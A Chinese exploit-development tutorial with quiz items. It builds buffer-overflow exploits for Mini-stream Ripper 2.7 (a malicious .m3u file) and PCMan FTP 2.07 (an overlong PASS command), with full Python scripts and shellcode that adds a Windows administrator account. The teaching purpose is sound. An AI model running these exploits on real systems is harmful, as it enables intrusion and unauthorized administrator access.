地址及文件的属性,以选用合适播放器播放。
辅助工具:ImmunityDebugger,python2.7
黑客帝国Ⅱ经典台词:什么是控制?我们随时可以把这些机器关掉。这句话一直
深深烙印在我的脑海里。以前这对于什么都不懂的我来说这遥不可及,然而,今天这不再是幻想。下面带大家实践如何控制机器执行任意代码:
1.验证Mini-streamRipper2.7存在漏洞。
2.利用Mini-streamRipper2.7漏洞执行任意代码。
任务描述:构造超长的m3u验证Mini-streamRipper2.7存在缓冲区溢出漏洞,并验证db-exploit给出的Poc(漏洞利用证明)。
1.首先在Win7正确安装好Mini-streamRipper2.7。用下面的python2.7产生30000字符长的m3u文件。
filename="C:\\test.m3u"#待写入的文件名myfile=open(filename,'w')#以写方式打开文件filedata="A"*30000#待写入的数据myfile.write(filedata)#写入数据
运行这段python代码,在C盘下找到test.m3u文件。然后用Mini-streamRipper2.7打开
Boom!!!程序崩溃了。不管是否这是可利用的漏洞,至少这个程序有bug。因为它没有检查我们的输入。
#!/usr/bin/envpython
#[+]Author:TUNISIANCYBER
#[+]ExploitTitle:Mini-sreamRipperv2.7.7.100LocalBufferOverflow#[+]Date:25-03-2015#[+]Type:LocalExploits
#[+]Testedon:WinXp/Windows7Pro
#[+]FriendlySites:sec4ever.com#[+]Twitter:@TCYB3R
#[+]OriginalPOC:
shellcode=("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42""\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03""\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b""\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e""\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c""\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74""\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe""\x49\x0b\x31\xc0\x51\x50\xff\xd7")
writeFile=open(file,"w")
writeFile.write(junk+eip+junk2+shellcode)writeFile.close()
我们运行这段python代码,在C:\产生了crack.m3u文件。试着用Mini-streamRipper2.7打开
程序报错,但是并没有执行shellcode。前面的Poc有下面这句话
#MessageboxShellcode(113bytes)-AnyWindowsVersionByGiuseppeD'Amore
MessageboxShellcode,MessageBox是一个弹框的API函数,可以推测shellcode功能是弹框,但是在我的电脑没有看到shellocde执行成功,你可以复制这个POC代码,运行它,也看到它没利用成功(或者你真的幸运的话,会成功的)。又或者你试着理解它并编译自己的可以成功利用的Exploit;在者你就从头开始编写自己的Exploit。啰嗦下:除非你真能够快速的反汇编和读懂shellcode,否则我建议你不要拿到一个Exploit(特别是已经编译了的可执行文件)就运行它,假如它仅仅是为了在你电脑上开一个后门呢?问题是:Exploit作者是怎样开发他们的利用程序的呢?从检测可能存在的问题到编写可以利用成功的Exploi这个过程是怎么样的呢?您如何使用漏洞信息,编写自己的Exploit呢?下面带领大家完成这个过程。
【A】exploit-db提供的Exploit在我们的系统总是可用的。
【B】m3u是视频格式文件。
【C】能控制EIP就一定能执行任意代码
【D】拿到一个Exploit应该在我们的虚拟机测试它
任务描述:编写自己的Exploit。
1.通常你可以在漏洞报告中得到基本的信息。在本例中,基本信息有:“通过创建一个恶意的.m3u文件将触发Mini-streamRipper2.7缓冲区溢出利用。”这些报告往往没什么特别之处,但在多数情况下,你会从中得到一些灵感来模拟一次崩溃或让程序行为异常。如果没有,那么第一个发现的安全研究人员可能会透露给供应商,给他们机会修补...或者只是想保密为他/她所用。前面我们知道Mini-streamRipper2.7确实存在bug。很明显,一个程序的崩溃并不都意味着存在可利用的漏洞,在多数情况下,程序崩溃并不能利用,但是有时候是可以利用的。“可利用”,我是指你可以让程序做出“越轨“的事...比如执行你自己的代码,让一个做越轨的事最简单的方法是控制它的执行流程(让它指向别是什么地方)。可通过控制指令指针(EIP),这个CPU寄存器永远指向下一条要执行的指令地址。为了观察程序崩溃现场,我们用ImmunityDebugger载入程序并运行,然后载入前面的30000个字符的test.m3u文件
程序中断,观察此时的调试器,发现EIP已经被覆盖为0x41414141(AAAA),再看堆栈窗口,堆栈被覆盖了一堆A。由此我们可以知道,通过构造恶意的m3u文件,可以造成缓冲区溢出,覆盖EIP执行任意代码,这不仅仅是一个bug了,因为我们控制了程序的流程。
小知识补充:在IntelX86上,采用小端字节序(moonife:地址低位存储值的低位,地址高位存储值的高位)所以你看到的AAAA其实是反序的AAAA(就是如果你传进缓冲区的是ABCD,EIP的值将是44434241:DCBA)。前面我们的m3u文件里面都是A,我们无法确切的知道缓冲区的大小已至于我们无法把shellcode的起始地址写到EIP,所以我们要定位保存的返回地址在缓冲区的偏移。但是在开始前,还记得我们前面讲过的ASLR,GS,SafeSeh吗?在这个例子中我们不需要考虑SafeSeh因为我不打算覆盖SEH。可以使用ImmunityDebugger的mona插件可以查看程序所有模块ASLR,GS,SafeSeh信息。Alt+L切换到日志窗口,找到SEH.txt文件
打开SEH.txt文件
Rebase,NXCompat不用管它,Rebase类似于ASLR,NXCompat在Win7默认不起作用。但是,你发现这里好像没有GS?原来GS是以函数为单位的,也就是说一个模块有的函数有GS有的没有GS。而SEH.txt是针对模块的,所以它不会列出某个模块有没有GS。不管怎么样,我们可以先假设有漏洞的函数没有GS保护,如果在利用过程中发现有,那就再说。从SEH.txt可以知道MSRcodec06.dll,MSRcodec02.dll等好多个模块的ASLR为false,这很好,不是吗?我们可以利用这些模块的jmpesp覆盖返回地址,因为这些地址在机器重启后依然不变,所以构造出的Exploit比较稳定。
接下来定位溢出点:使用!monapc30000产生30000个随机字符
找到pattern.txt文件,打开
把选中的那些东西去掉,重新保存为pattern.m3u。你可以在C:\找到它。用ImmunityDebugger运行Mini-streamRipper2.7,打开pattern.m3u。
程序在执行0x48336D48(H3mH)发生访问异常。在ImmunityDebugger命令窗口输入:!monapoH3mH。。
可见5829字节可以覆盖到返回地址。为了确保准确我们来确认一下
filename="C:\\test1.m3u"#待写入的文件名myfile=open(filename,'w')#以写方式打开文件filedata="A"*5829
myfile.write(filedata)#写入数据myfile.close()#关闭文件
在C:\你可以找到这个test1.m3u,重复前面的步骤。
程序没报错,弹出了这个界面。说明我们应该是没有覆盖到返回地址。如果你注意看前面的pattern.txt里面的30000个字符,你会发现它每20280循环一次。也就是说H3mH。出现在前第一次20280的5829偏移处。所以实际需要20280+5829=26109字节覆盖到返回地址。我们把上面的python代码改成下面这样
filename="C:\\test2.m3u"#待写入的文件名myfile=open(filename,'w')#以写方式打开文件filedata="A"*26109
生成test2.m3u文件,你可以在C:\找到,重复前面的步骤
晕,程序还是没有崩溃。。。不要灰心,mona.py也可能算的不准。起码我们现在知道了26109字节没崩溃,30000字节崩溃。那么我们可以把python代码改成这样
filename="C:\\test3.m3u"#待写入的文件名myfile=open(filename,'w')#以写方式打开文件filedata="A"*26109+'B'*1000+'C'*1000+'D'*1000+'E'*1000myfile.write(filedata)#写入数据
C:\产生test3.m3u文件,重复前面的步骤,
Boom!!!EIP被覆盖为0x42424242,从堆栈窗口看似乎是"A"*26109+'B'*12就可以覆盖到EIP了,用下面的python代码验证:
filename="C:\\test4.m3u"#待写入的文件名myfile=open(filename,'w')#以写方式打开文件filedata="A"*26109+'B'*12+'C'*4+'D'*4+'E'*4+'F'*4myfile.write(filedata)#写入数据
再次打开
Perfect!!!0x43434343(CCCC)覆盖了EIP,并且此时ESP指向的值为0x45454545(EEEE)。下面我们只需要在没有ASLR的模块找到一条jmpesp地址【注:jmp[esp+N],callesp,call[esp+N]等也行】。但是很快我发现了一个问题,大概也就知道为什么前面为什么我们用db-exploit那段Poc不起作用了。
请看所有ASLR为False,而Rebase为True的模块,图中我没有全部画出来。比如上图第一个有图可以知道它的加载基地址是0x048d000,但是我用Immunity
Debugger调试器重新载入Mini-streamRipper2.7看加载的模块
0x048d000处没有加载任何模块。。。由此我们知道如果某个模块的Rebase为True,那么在程序重启后它加载的地址就会变,有点类似ASLR。所以本例子我们需要选择Rebase和ASLR都为False的模块。我在SEH.txt发现了两个模块符合:
0x00400000|0x0051a000|0x0011a000|False|False|False|False|False|3.0.1.1[Ripper.exe]
0x10000000|0x1007b000|0x0007b000|False|False|False|False|False|-1.0-[MSRfilter01.dll]
但是Ripper.exe地址以0x00开头,又截断符,所以可选的只有MSRfilter01.dll了。更加不幸的是,我在MSRfilter01.dll模块内没有找到任何jmpespjmpdwordptr[esp+n],callesp,calldwordptr[esp+4]等指令。到这里似乎陷入了僵局。看来我们还是没法偷窥女神的…/坏。。。
但是很快我又想到,ESP不是指向shellcode嘛,那如果我找到pushesp,retn指令呢?这个指令序列也很常见。Pushesp相当于把shellcode的地址压栈,retn把shellcode的地址从栈弹到EIP,接着就可以执行shellcode了。起码我们还有希望,继续在MSRfilter01.dll模块搜寻pushesp,retn序列。幸运的是,我找到了下面这几个:
1000F91454PUSHESP1000F915C3RETN
1000F92854PUSHESP1000F929C3RETN
1003AED354PUSHESP1003AED4C3RETN
1003AEEE54PUSHESP1003AEEFC3RETN
1003AF0054PUSHESP1003AF01C3RETN
1003AF4954PUSHESP1003AF4AC3RETN
1003AF5A54PUSHESP1003AF5BC3RETN
1003AF8454PUSHESP1003AF85C3RETN
1003AFAD54PUSHESP1003AFAEC3RETN
1003AFCF54PUSHESP1003AFD0C3RETN
10040FC154PUSHESP10040FC2C3RETN
10040FE654PUSHESP10040FE7C3RETN
100418E654PUSHESP100418E7C3RETN
不错嘛,很多。。。但是类似于第一个这个0x1000F914就不可用,有截断符\x00。但是我们仍然有几个可用,比如最后这个0x100418E6。好,搞定返回地址。下面把python代码改成这样:
filename="C:\\test4.m3u"#待写入的文件名myfile=open(filename,'w')#以写方式打开文件filedata="A"*26109+'B'*12+'\xe7\x18\x04\x10'+'D'*4+'shellcode'myfile.write(filedata)#写入数据
其中shellcode替换成你想要执行的代码。比如:此处略去三百字,嘿嘿。我还是用前面添加用户的shellcode:
filename="C:\\test5.m3u"#待写入的文件名myfile=open(filename,'w')#以写方式打开文件filedata="A"*26109+'B'*12+'\xe6\x18\x04\x10'+'D'*4+'\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7'myfile.write(filedata)#写入数据
你可以在C:\找到这个test5.m3u,打开这个文件前
然后直接用Mini-streamRipper2.7打开test5.m3u。
再看看
Boom!!!利用成功。。。
【A】Rebase和ASLR是一样的
【B】Rebase是堆栈基址重定位,基址是加载的首地址
【C】前面可以用1003AF5A54PUSHESP1003AF5BC3RETN利用
【D】前面可以用1000F91454PUSHESP1000F915C3RETN利用答案:C
1)绕过ASLR的其它技术
从零开始学习软件漏洞挖掘系列教程第八篇:实战挖掘PCManFTP溢出漏洞
通过该实验了解挖掘FTP服务器缓冲区溢出的方法。
1.关于PCMANFTP2.07缓冲区溢出漏洞
PCMan是一系列免费的Telnet软件,并针对BBS进行最佳化设置,作者是
洪任谕。目前此软件为台湾地区的BBS用户广泛使用。。
2013-8-2Ottomatik在www.exploit-db.com,报告指出FreeFTPd的一个缓冲
区溢出漏洞。报告指出:
PCMan'sFTPServer2.0.7在实现上存在缓冲区溢出漏洞,此漏洞源于处理精
心构造的PASS命令时,没有正确验证用户提供的输入,这可使远程攻击者
造成缓冲区溢出,导致拒绝服务或执行任意代码。
#!/usr/bin/python2.7
#-*-coding:utf-8-*-
"""
PCMANFTPD2.07PASSCommandBufferOverflow
Author:Ottomatik
Date:2013-07-31
Software:PCMANFTPD
Version:2.07
TestedOn:Windows7SP1-French;
Description:
*ThePASSCommandisvulnerabletoabufferoverflow;
*Othercommadsmaybevulnerable;
#Modulesimport;
importsocket
defmain():
Mainfunction;
buf="PASS"
buf+="A"*6102#JUNK
#0x75670253
buf+="\x53\x02\x67\x75"#@CALLESPKernel32.dll
buf+="\x90"*40#NOPs
#ShellCode:msfpayloadwindows_execcalc.exe,badchars=00,0A,0C,0D
buf+=("\xdd\xc5\xd9\x74\x24\xf4\x5a\x31\xc9\xb8\xd1\x96\xc1\xcb\xb1"
"\x33\x31\x42\x17\x83\xc2\x04\x03\x93\x85\x23\x3e\xef\x42\x2a"
"\xc1\x0f\x93\x4d\x4b\xea\xa2\x5f\x2f\x7f\x96\x6f\x3b\x2d\x1b"
"\x1b\x69\xc5\xa8\x69\xa6\xea\x19\xc7\x90\xc5\x9a\xe9\x1c\x89"
"\x59\x6b\xe1\xd3\x8d\x4b\xd8\x1c\xc0\x8a\x1d\x40\x2b\xde\xf6"
"\x0f\x9e\xcf\x73\x4d\x23\xf1\x53\xda\x1b\x89\xd6\x1c\xef\x23"
"\xd8\x4c\x40\x3f\x92\x74\xea\x67\x03\x85\x3f\x74\x7f\xcc\x34"
"\x4f\x0b\xcf\x9c\x81\xf4\xfe\xe0\x4e\xcb\xcf\xec\x8f\x0b\xf7"
"\x0e\xfa\x67\x04\xb2\xfd\xb3\x77\x68\x8b\x21\xdf\xfb\x2b\x82"
"\xde\x28\xad\x41\xec\x85\xb9\x0e\xf0\x18\x6d\x25\x0c\x90\x90"
"\xea\x85\xe2\xb6\x2e\xce\xb1\xd7\x77\xaa\x14\xe7\x68\x12\xc8"
"\x4d\xe2\xb0\x1d\xf7\xa9\xde\xe0\x75\xd4\xa7\xe3\x85\xd7\x87"
"\x8b\xb4\x5c\x48\xcb\x48\xb7\x2d\x23\x03\x9a\x07\xac\xca\x4e"
"\x1a\xb1\xec\xa4\x58\xcc\x6e\x4d\x20\x2b\x6e\x24\x25\x77\x28"
"\xd4\x57\xe8\xdd\xda\xc4\x09\xf4\xb8\x8b\x99\x94\x10\x2e\x1a"
"\x3e\x6d")
buf+="\r\n"
clt_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
clt_socket.connect(("127.0.0.1",21))
printclt_socket.recv(2048)
clt_socket.send("USERanonymous\r\n")
clt_socket.send(buf)
clt_socket.close()
if__name__=="__main__":
main()
辅助工具:ImmunityDebugger,Olldbg调试器,mona.py
1.漏洞验证。
2.漏洞利用。
3.漏洞分析。
【注:为了方便,这个FTP服务器软件我在本地测试】
任务描述:验证PCMANFTP2.07在处理PASS命令时存在缓冲区溢出漏洞。1.漏洞报告指出通过构造恶意的传递给PASS超长的数据可以造成缓冲区溢出。作者在Windows7SP1测试成功,而我的系统刚好也是Windows7SP1,用作者给出的Poc在我的系统测试:
没有弹出计算器,这令人失望。至少这个Exploit不通用,或许在你的系统可以执行成功,如果你足够幸运的话。但问题是我们如何构造出我们自己的Exploit,使他更加好“用”?
2.既然作者给出的Poc不起作用,那我们只得自己写,自己动手丰衣足食嘛。我用下面的python代码测试
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("192.168.56.1",21))
s.recv(1024)
User='anonymous'Password="A"*60000
s.send("USER"+User+"\r\n")prints.recv(1024)
s.send("PASS"+Password+"\r\n")prints.recv(1024)
用ImmunityDebugger载入PCMANFTP2.07并运行。
注意上面python代码的IP和PCMANFTP2.07的IP要一致。然后运行上面的pytohn代码。
Boom!!!EIP被覆盖为0x41414141(AAAA),能不能有效利用我们还不得而知。但我们至少可以对这个软件进行拒绝服务攻击。
以下说法错误的是?【单选题】
【A】exploit-db是一个巨大的漏洞库
【B】漏洞发现者提供的Poc在我们本地也总能“正确”执行
【D】PASS是发送密码
任务描述:构造利用PCMANFTP2.07的Exploit。
1.尽管这个漏洞已经有了一个Exploit(无论它是否真的有效),我依然用这个存在于PCMANFTP2.07上漏洞作为一个实战来讲解如何编写有效的Exploit。,当然如果手上没有其他人给出Exploit的情形下,我们就得从头开始。
2.前面我们知道PASS命令在处理用户输入的时候没有进行有效的验证,导致攻击者可以通过构造恶意的数据造成缓冲区溢出。下面定位溢出点,我试了下6200字符也能溢出,所以我把python代码改成下面:
User='anonymous'
Password="A"*6000+'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag’
200个随机字符是mona产生的
为什么不直接产生6200随机字符?因为直接把6200字符放python太卡了。下面用ImmunityDebugger载入PCMANFTP2.07并运行,然后执行前面的python代码
EIP被覆盖为0x64413464(dA4d)。执行!monapoDa4d
可见103+6000=6103字节可以覆盖到EIP【记得我们前面多加了6000哦】下面可以验证一下
Password="A"*6103+'B'*4+'C'*4+'D'*4+'E'*200s.send("USER"+User+"\r\n")prints.recv(1024)
s.send("PASS"+Password+"\r\n")prints.recv(1024)重复前面的步骤,不出意外的话EIP会是0x42424242。
如我们所料EIP=0x42424242,同时我们从堆栈窗口也看到了ESP指向0x44444444(DDDD)。下面只需要在没有ASLR的模块里面找一条jmpesp指令就OK了。用!monanoaslr
只有两个模块没有ASLR,其中PCManFTPD2.exe不能用,有截断符\x00,看看Blowfish.dll,基地址是0x10000000,截止地址是0x10008000,还是有\x00。我们回头看下作者给出的Poc用的CALLESP地址【注:CALLESP和jmpesp效果一样】
他用的是Kernel32.dll模块的一个CALLESP地址,而这个模块有ASLR保护,每次重启机器后地址都会变化,所以你知道作者的Poc在我们的机器没啥没成功了吧。我觉得如果我们不能写出稳定的Exploit,起码是针对某个版本的系统。因为像作者那个Exploit根本不能攻击任何机器,即时别人安装了有漏洞的软件,但是你能猜出CALLESPKernel32.dll的地址吗?这个地址是变化的,所以作者的Exploit最多也就是能使PCMANFTP2.07拒绝服务而已。但是我们还是可以先尝试写一个Exploit【尽管不稳定】,我在第三部分分析漏洞会尝试写一个稳定的Exploit,尽管不知道能不能写出来,因为有的漏洞确实不能利用,因为限制太多了,我觉得纯考验人品,如果你幸运的
话。【注:下面所说的你的机器和我的机器看到的不一样,但是思路都是一
样的】好我们先查看PCMANFTP2.07加载的模块
那我们也使用作者用的Kernel32.dll吧,在里面找一条callesp指令
前面的python代码D处放上我们的shellcode,B处改为jmpesp地址,所以完整的Exploit:
Password="A"*6103+'\x33\x71\x9a\x76'+'C'*4+'\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7'
s.send("PASS"+Password+"\r\n")prints.recv(1024)运行代码前
然后先运行PCMANFTP2.07,再运行python代码‘
【A】作者提供的POC在我们本地不能利用成功是因为系统版本不一样
【B】DEP是代码执行保护
【C】目前大部分系统DLL都有SafeSeh保护
【D】jmpesp和callesp在覆盖返回地址利用中效果一样
5.3实验任务三
任务描述:
分析PCMANFTP2.07漏洞形成原因。
1.首先是定位漏洞。
我们知道,当发生缓冲区溢出时,原来保存的返回地址已经被覆盖为我们构
造的数据。所以我们看不到漏洞发生在哪个函数。由前面的这个图可以看到,
当异常发生时,ESP的值为0x0018ED70。
下面我们使用Olldbg来定位溢出点:用Olldbg载入PCMANFTP2.07并运行,前面我们知道了异常时候ESP的值为0x0018ED70,而一般返回地址就保存在ESP前面,先在堆栈窗口转到0x0018ED70
然后我们在0x0018ED5C下硬件写入条件断点,思路是这样的0x0018ED5C在保存的返回地址的前面,要覆盖到返回地址,0x0018ED5C先被覆盖,而我们在这个地址下当这个地址数据为0x41414141时候断下的条件断点,当缓冲区溢出的A覆盖到0x0018ED5C时候程序会断下来,而此时返回地址还没有被覆盖到,因此我们可以得到原来保存的返回地址,也就知道溢出发生在哪个函数了。下面在数据窗口转到0x0018ED5C,下断点如图:
断点下好后,运行这一段python代码:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.1",21))
Password='A'*8000
s.send("USER"+User+"\r\n")
prints.recv(1024)
s.send("PASS"+Password+"\r\n")
程序断下
此时0x0018ED5C果然是0x41414141,在堆栈窗口转到0x0018ED5C
注意到0x0018ED68这个地址保存的值0x00402A2B,返回到….他就是我们要找的溢出函数的下一句代码,接着去0x00402A2B看看
看到了吧
00402A26|E83514000|CALLPCManFTP.00403E60
这一句就是CALL有漏洞的函数,溢出发生在0x00403E60这个函数中。取消硬件断点并在0x00402A26按F2下断点
重新用OD载入PCMANFTP2.07并运行,然后运行前面的python代码,在OD里按三下F9,看到了下面这个
看到我们传递给程序的’AAAAAA…’了吧,被当作参数传递给0x00403E60这个函数,而这个函数对我们传进去的参数不加以校验直接复制到缓冲区,造成典型的缓冲区溢出漏洞。